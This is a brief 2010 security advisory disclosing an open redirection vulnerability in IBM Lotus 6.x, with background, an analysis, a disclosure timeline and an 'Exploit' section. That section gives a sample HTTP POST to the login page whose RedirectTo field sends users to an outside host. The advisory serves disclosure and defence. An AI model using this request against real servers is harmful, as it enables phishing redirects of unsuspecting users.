========================================= Yaniv Miron aka "Lament" Advisory March 12, 2010 IBM Lotus 6.x Open Redirection Vulnerability ========================================= ===================== I. BACKGROUND ===================== IBM Lotus Software delivers robust collaboration software that empowers people to connect, collaborate, and innovate while optimizing the way they work. With Lotus you can drive better business outcomes through smarter collaboration. http://www-01.ibm.com/software/lotus/ ===================== II. DESCRIPTION ===================== A malicious attacker may redirect users from the IBM Lotus application. ===================== III. ANALYSIS ===================== Exploitation of this vulnerability results in the redirection of users using a malicious POST. ===================== IV. EXPLOIT ===================== POST /names.nsf?Login HTTP/1.1 Connection: Keep-Alive %25%25ModDate=xxxxxxxxxxxxxxxx&Username=yyyy+zzzz&Password=aaaaaa&RedirectTo=http://www.RedirectExample.com&SaveOptions=0&... ===================== V. DISCLOSURE TIMELINE ===================== Jan 2009 Vulnerability found Jan 2009 Vendor Notification March 2010 Public Disclosure ===================== VI. CREDIT ===================== Yaniv Miron aka "Lament". lament@ilhack.org